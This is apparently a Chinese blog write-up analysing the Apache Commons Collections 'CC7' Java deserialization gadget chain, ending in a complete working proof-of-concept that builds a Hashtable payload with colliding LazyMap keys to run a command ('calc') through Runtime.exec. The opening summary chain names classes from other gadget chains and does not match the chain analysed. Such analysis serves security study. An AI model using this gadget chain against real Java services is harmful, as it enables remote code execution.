CommonsCollection7分析

CommonsCollection7调用流程

 调用链

HashTable.readObject()
    |
TransformingComparator.compare()
    |
InstantiateTransformer.transform()
    |
TrAXFilter.TrAXFilter()
    |
TemplatesImpl.newTransformer()

 

Ysoserial 官方版本调用链

/*
    Payload method chain:

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

一些关键类的分析

AbstractMap类分析

CommonsCollection7分析

 equals方法中 这里调用了get 我们可以将m赋值LazyMap类即可触发LazyMap.get()

CommonsCollection7分析

下来继续跟调用equals的地方

AbstractMapDecorator类分析

CommonsCollection7分析

 在AbstractMapDecorator类中的equals方法中调用了ma.equals() 给map赋值AbstractMap类即可触发

CommonsCollection7分析

 再继续跟调用AbstractMap#equals()的地方

Hashtable 类分析

Hashtable是原始的java.util的一部分, 是一个Dictionary具体的实现 。

CommonsCollection7分析

  Hashtable类中的reconstitutionPut它这里触发了key.equals()

CommonsCollection7分析

 再找调用reconstitutionPut 方法的地方 

成功找到

CommonsCollection7分析

 分析完这些类 再进行poc分析

POC分析

先来看第一个疑问为啥这里要放两个LazyMap

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()方法new了两个LazyMap对象

然后分别添加到Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?

下面来分析一下。HashtablereconstitutionPut方法是被遍历调用的,

CommonsCollection7分析

 可以看这是再第一次进行循环触发到这里 此时tab为空 是不会进入for循环里面的所以也就不会触发里面的equals()

CommonsCollection7分析

 在reconstitutionPut() 中第一次走完 for循环到最后对tab进行了赋值一个entry 这个值的key是我们第一次put进的LazyMap

CommonsCollection7分析

此时 代码返回到readObject中进行for第二次循环 第二次触发reconstitutionPut 继续看这里 可以完美进入for中触发 e.key.equals(key) 

CommonsCollection7分析

 再来看这段代码引入第二个问题

 

第二个问题 为啥要移除yy元素

lazyMap2.remove("yy");

其实最主要的是后面的lazyMap2.remove这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到。

如果不移的话会调用get函数 便不会进入if里面了

CommonsCollection7分析

 

第三个问题Payload中的yy和zZ能否改成其他字符串

要保证hashcode一致,理论上会有很多选择,实际上很难找出合适的

可用的Payload,字符串AaAaAa和BBAaBB的hashcode相同,测试通过

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("AaAaAa",1);

Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("BBAaBB",1);
......
lazyMap2.remove("AaAaAa");

最终poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"calc"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

参考与引用学习

https://www.anquanke.com/post/id/248169#h3-5

https://www.cnblogs.com/nice0e3/p/13910833.html

 

上一篇:HashMap与HashTable的区别源码角度分析


下一篇:ConcurrentHashMap源码解读,springboot入门